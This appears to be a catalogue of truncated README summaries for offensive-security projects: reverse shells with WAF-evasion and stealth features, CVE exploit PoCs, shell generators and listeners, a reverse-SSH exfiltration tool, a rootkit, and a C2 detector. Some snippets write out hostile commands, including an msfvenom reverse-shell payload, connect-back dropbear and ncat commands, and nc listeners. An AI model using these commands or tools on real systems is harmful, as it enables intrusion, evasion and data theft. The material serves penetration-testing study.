PHP-REVERSE-SHELL

PHP 反向Shell 强大且隐蔽 这是一个专为道德黑客和渗透测试设计的强大且隐蔽的 PHP 反向Shell。 它能够建立一条可靠且安静的回连通道到您的机器。 ⚠️ 免责声明 此 PHP 反向Shell 严格仅用于教育和授权的渗透测试目的。 开发者对使用此 反向Shell 进行的任何滥用、损害或非法活动概不负责。 请负责任地使用，仅限您拥有或获得明确许可的系统。未经授权的访问是违法的，并将受到法律制裁。 特性 IP 和 Shell 命令经过 Base64 编码，实现隐身 函数名被反转以绕过 WAF 和安全过滤器 静默模式——不显示任何输出以避免检测 连接断开后自动重连...

BerrySentinel

🫐 Berry Sentinel 实时C2（命令与控制）连接行为检测器 零特征码 · 防弹收集 · 深度扫描 · 终止引擎 这是什么？ Berry Sentinel 监控你系统上所有活跃的网络连接，并分析生成这些连接的进程的行为 ，以检测恶意活动 —— 无需使用杀毒软件的特征码数据库或IP黑名单。 它通过观察进程的行为方式 来检测反向Shell、Webshell、RAT、C2信标以及Meterpreter、Cobalt Strike、Sliver或Empire等框架：如果一个Python解释器的stdin连接到了一个远程socket，即使IP未知，这也值得怀疑。...

Fast-CVE-2022-22965

靶机 docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest 反弹shell实质为参照msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp 将jsp url编码后，用 %3C%25替换 %25%7Bc2%7Di 代表 代码中针对不同类型服务器进行了shellpath的修改判断 if self.radioButtonwin.isChecked: shellpath = "cmd.exe" if...

CVE-2025-60787

CVE-2025-60787 - motionEye中的认证RCE 此PoC针对CVE-2025-60787，这是一个针对motionEye的认证RCE漏洞，影响所有版本直至0.43.1b4（含）。 这是针对该仓库中描述漏洞的自动化PoC。鸣谢prabhatverma47。 用法 该脚本有2个利用此漏洞的命令。一个名为revshell，直接发送反弹shell；另一个名为command，直接执行命令利用此CVE。 ❯ python3 CVE-2025-60787.py -h usage: CVE-2025-60787.py -h revshell,command ... PoC for...

secbutler

供渗透测试人员、漏洞赏金猎人和安全研究人员使用的基本实用工具 功能 • 使用方法 • 安装 • 许可证 • secbutler 是一款为 渗透测试人员 、漏洞赏金猎人 和 安全研究人员 打造的实用工具，其中包含了在执行网络安全活动时最常用且最繁琐的内容（例如安装安全相关工具、获取反弹 shell 命令、提供常见 payload、获取可用代理、管理字典列表等）。 目标是打造一款满足社区需求的工具，因此非常欢迎提出建议和提交 PR！ ⚡ 功能 生成反弹 shell 命令 获取代理 下载并部署常用 payload 获取反弹 shell 监听器命令 为常用工具生成 bash 安装脚本 为字典列表...

pentestkoala

Koala 是 dropbear SSH 服务器的一个修补版本，它不绑定到端口，而是通过连接到远程客户端来开启反向 Shell。 这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击（Pivoting）。 用法 在客户端上运行以下命令以监听 SSH 连接： $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 在已被利用的主机上运行： $ ./dropbear -p client-host:5000 现在在客户端上，连接到端口 9999 以开启 Shell： $ s...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle 工件上传 PoC 本项目演示如何通过命令行参数动态上传 pickle 工件到 ClearML，并支持配置参数。该脚本初始化一个 ClearML 任务，动态配置反向 shell...

HTTP-Shell

HTTP-Shell HTTP-Shell 是一款跨平台的反向 Shell 工具。该工具可帮助你在基于 HTTP 的反向连接中获取类似 Shell 的交互界面。与其他反向 Shell 不同的是，该工具的主要目标是配合 Microsoft Dev Tunnels 使用，以获得尽可能接近合法流量的连接。 此 Shell 并非完全交互式，但会在屏幕上显示任何错误（包括 Windows 和 Linux），能够上传和下载文件，具有命令历史记录、终端清理（甚至支持 CTRL+L）、自动重连、目录切换功能，并且在基于 Linux 的操作系统上支持 sudo（或 sudo su）。 需求 服务端需要...

project_mantis

Project Mantis: Contraatacando al hacker de IA Inyección de prompts como defensa contra ciberataques impulsados por LLM Instalar Mantis pip install -r requirements.txt Ejecutar Mantis con configuraciones predefinidas Hay varias configuraciones predefinidas disponibles en el directorio ./confs...

YAPS

YAPS - Y et A nother P HP S hell 是的，正如其名，这是又一个PHP反向Shell，是市面上数百个同类工具之一，但拥有一些优势。它是一个单一的PHP文件，包含所有功能，你可以通过一个简单的TCP监听器（例如 nc -lp 1337）进行控制。 在当前版本（1.5）中，其主要功能仅支持Linux系统，但我计划使其也适用于Windows。 目前它处于第一版，我尚未进行大量测试， 并且我还有很多事情打算在后续版本中完成和改进（尚未完成！ ），因此如果你发现任何bug或有功能改进的建议，请告知我。= 特性 单一PHP文件（无需安装软件包、库，或下载大量文件）...

CVE-2025-3248

CVE-2025-3248 Ejecución remota de código utilizando un endpoint API vulnerable. Prueba de concepto. Información: ⚠️ ¡Úsalo bajo tu propio riesgo! ❓ Opción añadida para shell inversa. ✅ Reintento automático si validatecode está desactivado. Demostración Uso python CVE-2025-3248.py / python3...

OpenShell

OpenShell OpenShell 是一个轻量级的开源反向 Shell 管理服务器，使用 Go 编写。 它允许用户建立反向 Shell 通道，并通过一个简单的基于 Web 的图形用户界面（GUI）进行交互。 如果您遇到 Bug 或有建议，请随时提交 Issue。 如果您觉得这个项目有用或有趣，请在仓库中点亮一颗 ⭐，非常感谢！您的支持将是我不断改进这个工具的巨大动力。 免责声明 本项目是出于我个人对网络安全学习的兴趣而开发的。然而，它可能被滥用于恶意目的。 请不要将本工具用于任何非法活动。 作者不对本软件的任何滥用行为负责。 背景 这个项目的想法源于我学习 Web...

log4shell4shell

log4shell4shell Log4j - Multiherramienta. Encuentra y corrige posibles vulnerabilidades CVE-2021-44228 - proporciona un entorno completo de prueba/ataque LOG4SHELL Características Verifica tu sistema Linux/Mac/BSD y Windows en busca de vulnerabilidades CVE-2021-44228 Corrige tu sistema eliminando...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL 目标url -c COMMAND, --command COMMAND 命令 -i LHOST, --lhost LHOST 反弹主机地址 -p LPORT, --lport LPORT 反弹主机端口 -f FILE, --file FILE 批量扫描...

rustcat

rustcat - 现代端口监听器和反向Shell Rustcat是什么 Rustcat 是一个易于使用的端口监听器和反向Shell，支持Linux、MacOS和Windows，旨在简单易用且易于访问。 模式 监听模式 listen； 反向Shell模式 connect； 功能特性 命令历史与Tab补全（交互模式）； 阻止CTRL-C； 彩色输出； 一切简单； 安装 查看安装指南。或者如果你想便携使用，请查看最新发布 使用说明 最基本的监听端口示例为（你甚至可以在rustcat中运行vim）： rcat listen -ib 55600 连接示例： rcat connect -s bas...

CVE-2022-22963-POC

CVE-2022-22963 漏洞利用 描述 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，当使用路由功能时，用户可以提供特制的 SpEL 作为路由表达式，这可能导致远程代码执行并访问本地资源。更多详情请参见 CVE-2022-22963 详情。 基于 AayushmanThapaMagar 提供的 PoC，我正在创建一个简单的漏洞利用程序，从易受攻击的服务器获取反向 shell。 该项目的目的是简化漏洞测试并学习如何利用它。我稍后会添加关于此漏洞原因的更多细节。 需求 要运行此漏洞利用程序，你只需要 Docker。 使用方法...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell 漏洞描述 Webmin 1.984 及以下版本 - 文件管理器权限利用漏洞（CVE-2022-0824 和 CVE-2022-0829） 在默认使用 Authentic 主题的情况下，仅拥有较低权限且未配置任何文件管理器模块限制的 Webmin 用户，可访问具有 root 权限的文件。所有包含不受信任的 Webmin 用户的系统应立即升级。请注意，Virtualmin 系统不受此漏洞影响，因为其域所有者 Webmin 用户的配置方式不同。 来源：https://www.webmin.com/security.html 利用描述...

Umbra

Umbra Umbra es un rootkit LKM experimental controlable de forma remota para kernels 4.x y 5.x hasta 5.7 que abre una puerta trasera de red capaz de lanzar shells inversas a hosts remotos, ejecutar malware de forma remota y mucho más. El rootkit sigue en desarrollo, aunque las características...

s3reverse

s3reverse 安装 go get $ go get -u github.com/hahwul/s3reverse snap snap install s3reverse brew $ brew tap hahwul/s3reverse $ brew install s3reverse 使用方法 输入选项 基本用法 8""""8 eeee 8"""8 8"""" 88 8 8"""" 8"""8 8""""8 8"""" 8 8 8 8 8 88 8 8 8 8 8 8 8eeeee 8 8eee8e 8eeee 88 e8 8eeee 8eee8e 8eeeee 8eeee 88...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...